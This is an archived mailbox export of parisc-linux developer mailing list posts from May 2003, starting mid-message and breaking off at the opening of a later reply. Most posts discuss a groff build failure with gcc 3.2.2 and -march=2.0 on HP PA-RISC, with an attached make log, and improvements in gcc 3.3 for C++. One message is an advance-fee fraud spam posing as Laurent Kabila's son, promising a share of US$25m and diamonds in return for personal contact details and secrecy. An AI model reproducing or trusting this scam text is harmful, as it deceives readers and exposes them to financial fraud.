Original-Received: from gmsoft.tuxicoman.be ([2001:6f8:204:20:210:a7ff:fe10:1a3e])
	by server.da-kot with esmtp (Exim 3.36 #1 (Debian))
	id 19Fd3u-0000E8-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 May 2003 18:55:34 +0200
User-Agent: KMail/1.5.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18463

--Boundary-00=_vLSw+yLci4siwBX
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

> How are they "b0rked"? Can you be a bit more precise?

I've attached the the end of the compilation log of groff which fail with 
-march=2.0 in CXXFLAGS. The same compilation works perfectly without this 
flags or with -march=1.1 instead.

> We compile pa20 32-bit kernels (e.g. for c3k) using 32-bit and
> -march=2.0. seems to work. Do you have a test case for what you think
> is broken? -march2.0 is really orthogonal to 64-bit userspace.

After looking again more closely, it seems that only g++ is affected by this
bug. The kernel on the station was also compiled with -march=2.0.
About the test case, I don't have the time to look more to this problem but I
can give you a access to the box since it's a test box.

--
Guy Martin
Gentoo - HPPA port Lead / IPv6 team
Lug Charleroi (Belgium)



--Boundary-00=_vLSw+yLci4siwBX
Content-Type: text/x-log;
  charset="iso-8859-1";
  name="groff-march2.0-short.log"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="groff-march2.0-short.log"

    rm -f $m-wrap; \
    if test "$m" = an; then \
      echo .do mso andoc.tmac >>$m-wrap; \
    fi; \
    echo .cp 1 >>$m-wrap; \
    echo .so $m >>$m-wrap; \
  done; \
fi
touch stamp-wrap
for f in man.tmac ms.tmac; do \
  rm -f $f-sed; \
  sed -e "s;@TMAC_AN_PREFIX@;;g" \
  -e "s;@TMAC_S_PREFIX@;;g" \
  /var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/tmac/$f > $f-sed; \
done
touch stamp-sed
Making groff_ms.n from groff_ms.man
Making groff_man.n from groff_man.man
Making groff_me.n from groff_me.man
Making groff_mdoc.n from groff_mdoc.man
Making groff_trace.n from groff_trace.man
Making groff_www.n from groff_www.man
make[2]: Leaving directory `/var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/tmac'
make[2]: Entering directory `/var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/src/utils/afmtodit'
if test -n "/usr/bin/perl"; then \
  sed -e "s|/usr/bin/perl|/usr/bin/perl|" \
              -e "s|@VERSION@|1.18.1|" \
              /var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/src/utils/afmtodit/afmtodit.pl >afmtodit; \
else \
  sed -e "s|@VERSION@|1.18.1|" \
              /var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/src/utils/afmtodit/afmtodit.pl afmtodit; \
fi
chmod +x afmtodit
Making afmtodit.n from afmtodit.man
make[2]: Leaving directory `/var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/src/utils/afmtodit'
make[2]: Entering directory `/var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/src/roff/grog'
rm -f grog
sed -e "s|@g@||g" \
  -e "s|@VERSION@|1.18.1|" \
  -e 1s/a/a/ /var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/src/roff/grog/grog.sh >grog
chmod +x grog
Making grog.n from grog.man
make[2]: Leaving directory `/var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/src/roff/grog'
make[2]: Entering directory `/var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/src/roff/nroff'
rm -f nroff
sed -e "s|@BINDIR@|/usr/bin|g" \
-e 1s/a/a/ \
-e "s|@VERSION@|1.18.1|" /var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/src/roff/nroff/nroff.sh >nroff
chmod +x nroff
Making nroff.n from nroff.man
make[2]: Leaving directory `/var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/src/roff/nroff'
make[2]: Entering directory `/var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/contrib/mm'
rm -f mmroff
sed -e 's;/usr/bin/perl;/usr/bin/perl;' /var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/contrib/mm/mmroff.pl >mmroff
chmod +x mmroff
Making mmroff.n from mmroff.man
Making groff_mm.n from groff_mm.man
Making groff_mmse.n from groff_mmse.man
make[2]: Leaving directory `/var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/contrib/mm'
make[2]: Entering directory `/var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/contrib/pic2graph'
rm -f pic2graph; \
sed -e "s|@g@||g" \
    -e "s|@VERSION@|1.18.1|" \
    -e 1s/a/a/ /var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/contrib/pic2graph/pic2graph.sh >pic2graph; \
chmod +x pic2graph
Making pic2graph.n from pic2graph.man
make[2]: Leaving directory `/var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/contrib/pic2graph'
make[2]: Entering directory `/var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/contrib/eqn2graph'
rm -f eqn2graph; \
sed -e "s|@g@||g" \
    -e "s|@VERSION@|1.18.1|" \
    -e 1s/a/a/ /var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/contrib/eqn2graph/eqn2graph.sh >eqn2graph; \
chmod +x eqn2graph
Making eqn2graph.n from eqn2graph.man
make[2]: Leaving directory `/var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/contrib/eqn2graph'
make[2]: Entering directory `/var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/contrib/groffer'
rm -f groffer; \
sed -e "s|@g@||g" \
    -e "s|@VERSION@|1.18.1|" \
    -e 1s/a/a/ /var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/contrib/groffer/groffer.sh >groffer; \
chmod +x groffer
Making groffer.n from groffer.man
make[2]: Leaving directory `/var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/contrib/groffer'
make[2]: Entering directory `/var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/contrib/mom'
test -d examples || /var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/mkinstalldirs examples
test -f penguin.ps || cp /var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/contrib/mom/examples/penguin.ps .
GROFF_COMMAND_PREFIX=''; export GROFF_COMMAND_PREFIX; GROFF_BIN_PATH=`echo /var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/src/roff/groff /var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/src/roff/troff /var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/src/devices/grops | sed -e 's|  *|:|g'`; export GROFF_BIN_PATH; /var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/src/roff/groff/groff -F/var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/font -F/var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/font -M/var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/tmac -M/var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/tmac -M/var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/contrib/mom -Tps -mom examples/letter.mom >examples/letter.ps
troff: Failed assertion at line 654, file `number.cc'.
/var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/src/roff/groff/groff: troff: Aborted
grops:<standard input>:5:warning: no final `x stop' command
make[2]: *** [examples/letter.ps] Error 2
make[2]: Leaving directory `/var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1/contrib/mom'
make[1]: *** [contrib/mom] Error 2
make[1]: Leaving directory `/var/tmp/portage/groff-1.18.1-r2/work/groff-1.18.1'
make: *** [all] Error 2

!!! ERROR: sys-apps/groff-1.18.1-r2 failed.
!!! Function src_compile, Line 57, Exitcode 2
!!! (no error message)


--Boundary-00=_vLSw+yLci4siwBX--



From - Thu Nov 08 21:27:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc and -march=2.0 flag bug
Date: Tue, 13 May 2003 13:53:48 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <200305131753.h4DHrmPJ007374@hiauly1.hia.nrc.ca>
References: <200305131853.03798.gmsoft@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622451 25668 80.91.229.3 (22 Nov 2014 02:14:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: gmsoft@gentoo.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 13 11:53:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4EC6A482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 May 2003 11:53:51 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h4DHrngL007375;
	Tue, 13 May 2003 13:53:49 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h4DHrmPJ007374;
	Tue, 13 May 2003 13:53:48 -0400 (EDT)
In-Reply-To: <200305131853.03798.gmsoft@gentoo.org> from "gmsoft@gentoo.org>" at May 13, 2003 06:53:03 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18464

> I've attached the the end of the compilation log of groff which fail with 
> -march=2.0 in CXXFLAGS. The same compilation works perfectly without this 
> flags or with -march=1.1 instead.

[...]

> troff: Failed assertion at line 654, file `number.cc'.

You didn't say which compiler version that you were using.

As I mentioned, the 3.2 branch is closed for bug fixes.  The failure
doesn't occur with 3.3.  It has a number of -march=2.0 fixes.  The
problem could be C++ related as well.  There are a huge number of C++
fixes in 3.3 relative to 3.3.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc and -march=2.0 flag bug
Date: Tue, 13 May 2003 20:03:28 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <200305132003.28348.gmsoft@gentoo.org>
References: <200305131753.h4DHrmPJ007374@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622451 25672 80.91.229.3 (22 Nov 2014 02:14:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 13 12:06:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from server.da-kot (21-40.CampusNet.ucl.ac.be [130.104.21.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 46F90482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 May 2003 12:06:02 -0600 (MDT)
Original-Received: from gmsoft.tuxicoman.be ([2001:6f8:204:20:210:a7ff:fe10:1a3e])
	by server.da-kot with esmtp (Exim 3.36 #1 (Debian))
	id 19FeA5-000169-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 May 2003 20:06:01 +0200
User-Agent: KMail/1.5.1
In-Reply-To: <200305131753.h4DHrmPJ007374@hiauly1.hia.nrc.ca>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18465

> You didn't say which compiler version that you were using.

Yes sorry, I forgot. I use gcc-3.2.2. I'll try gcc-3.3 asap.

Thanks

> As I mentioned, the 3.2 branch is closed for bug fixes.  The failure
> doesn't occur with 3.3.  It has a number of -march=2.0 fixes.  The
> problem could be C++ related as well.  There are a huge number of C++
> fixes in 3.3 relative to 3.3.
>
> Dave

-- 
Guy Martin
Gentoo - HPPA port Lead / IPv6 team
Lug Charleroi (Belgium)


From - Thu Nov 08 21:27:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.3 and c++
Date: Tue, 13 May 2003 11:18:05 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20030513181805.GF548@tausq.org>
References: <200305131853.03798.gmsoft@gentoo.org> <200305131753.h4DHrmPJ007374@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622451 25674 80.91.229.3 (22 Nov 2014 02:14:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 13 12:13:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 94090482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 May 2003 12:13:53 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 64814CD28E; Tue, 13 May 2003 11:18:05 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200305131753.h4DHrmPJ007374@hiauly1.hia.nrc.ca>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18466

> As I mentioned, the 3.2 branch is closed for bug fixes.  The failure
> doesn't occur with 3.3.  It has a number of -march=2.0 fixes.  The
> problem could be C++ related as well.  There are a huge number of C++
> fixes in 3.3 relative to 3.3.

Reading this inspired us to try compiling the 'menu' debian package 
with g++-3.3. Historically this package has been very problematic on
hppa because of its use of exceptions. It's been broken for a very long
time (couple years?).... but with latest g++-3.3 it actually compiles 
and works!!

Dave, many many thanks again for all your work on gcc.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.3 and c++
Date: Tue, 13 May 2003 15:16:49 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <200305131916.h4DJGnpg007743@hiauly1.hia.nrc.ca>
References: <20030513181805.GF548@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622452 25686 80.91.229.3 (22 Nov 2014 02:14:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 13 13:16:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 65A46482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 May 2003 13:16:51 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h4DJGogL007745;
	Tue, 13 May 2003 15:16:50 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h4DJGnpg007743;
	Tue, 13 May 2003 15:16:49 -0400 (EDT)
In-Reply-To: <20030513181805.GF548@tausq.org> from "Randolph Chung" at May 13, 2003 11:18:05 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18467

> > As I mentioned, the 3.2 branch is closed for bug fixes.  The failure
> > doesn't occur with 3.3.  It has a number of -march=2.0 fixes.  The
> > problem could be C++ related as well.  There are a huge number of C++
> > fixes in 3.3 relative to 3.3.
> 
> Reading this inspired us to try compiling the 'menu' debian package 
> with g++-3.3. Historically this package has been very problematic on
> hppa because of its use of exceptions. It's been broken for a very long
> time (couple years?).... but with latest g++-3.3 it actually compiles 
> and works!!

I should also add that I've built lyx, another large C++ app, under
hpux and it seems to work.  I've also built it under linux but I
haven't tested it (no X).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dukat Kabila <dukatka_s22@rediffmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] DUKAT KABILA(Jnr)
Date: Tue, 13 May 2003 23:58:05 +0200
Lines: 67
Approved: news@gmane.org
Message-ID: <20030513215803.2C78B482D@dsl2.external.hp.com>
Reply-To: dukatkabila_s22@rediffmail.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="153a78f8-a4e1-4c09-bea2-a4b97e7a3b02"
X-Trace: ger.gmane.org 1416622452 25692 80.91.229.3 (22 Nov 2014 02:14:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 13 15:58:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rediffmail1807.com (a226149.upc-a.chello.nl [62.163.226.149])
	by dsl2.external.hp.com (Postfix) with SMTP id 2C78B482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 May 2003 15:58:03 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18468

This is a multi-part message in MIME format
--153a78f8-a4e1-4c09-bea2-a4b97e7a3b02
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

> MR DUKAT KABILA  0031+615-421-228   
>

REQUEST FOR URGENT BUSINESS ASSISTANCE
>
>Your contact was availed to me by the chamber of commerce. It was 
given to me because of my diplomatic status as I did not disclose the 
actual reasons for which I sought your contact. But I was assured That you 
are reputable and trustworthy if you will be of assistance. I am Laurent 
DUKAT KABILA (Jnr) the second son of Late President LAURENT DESIRE 
KABILA the immediate Past president of the DEMOCRATIC REPUBLIC OF CONGO in 
Africa who was murdered by his opposition through his personal 
bodyguards in his bedroom on Tuesday 16th
>January, 2001.I have the privilege of being mandated by my father 
colleagues to seek your immediate and urgent co-operation to receive into 
your bank account the sum of US$25m.(twenty-five million Dollars) and 
some thousands carats of Diamond. This money and treasures was lodged in 
a vault with a security firm in Europe and South-Africa.
>
>SOURCES OF DIAMONDS AND FUND
>In August 2000, my father as a defence minister and president has a 
meeting with his cabinet and armychief about the defence budget for 2000 
to 2001 which was US $700m. so he directed one of his best friend. 
Frederic Kibasa Maliba who was a minister of mines and a political party 
leader known as the Union Sacree de, I=11 opposition radicale et ses allies 
(USORAL) to buy arms with US $200m on 5th January 2001; for him to 
finalized the arms deal,
>my father was murdered. f.K. Maliba (FKM) and I have decided to keep 
the money with a foreigner after which he will use it to contest for the 
political election. Inspite of all this we have

>resolved to present your or your company for the firm to pay it into 
your nominated account the above sum and diamonds. This transaction 
should be finalized within seven (7) working days and for your co-operation 
and partnership, we have unanimously agreed that you will be entitled 
to 5.5% of the money when successfully receive it in your account. The 

nature of your
>business is not relevant to the successful execution of this 
transaction what we require is your total co-operation and commitment to =
ensure 
100% risk-free transaction at both ends and to protect the persons 
involved in this transaction, strict confidence and utmost secrecy is
>required even after the successful conclusion of this transaction. If 
this proposal is acceptable to you, kindly provide me with your 
personal telephone and fax through my E-mail box for immediate commencement =
of 
the transaction. 
>All correspondence is for the attention of my counsel:
>
>I count on your honour to keep my secret, SECRET.
>Looking forward for your urgent reply
>Thanks
.
>Best Regards
>
>DUKAT KABILA(Jnr)
>
  
--153a78f8-a4e1-4c09-bea2-a4b97e7a3b02--



From - Thu Nov 08 21:27:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] build-tools bame
Date: Wed, 14 May 2003 00:39:02 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <20030513223902.GK27494@lug-owl.de>
References: <20030513222102.33F00482D@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="lJhfsPy4o8B7pjPr"
X-Trace: ger.gmane.org 1416622452 25701 80.91.229.3 (22 Nov 2014 02:14:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 13 16:39:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48857482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 May 2003 16:39:04 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 22E0F4AC14; Wed, 14 May 2003 00:39:03 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20030513222102.33F00482D@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18469

--lJhfsPy4o8B7pjPr
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Tue, 2003-05-13 16:21:02 -0600, Paul Bame <bame@dsl2.external.hp.com>
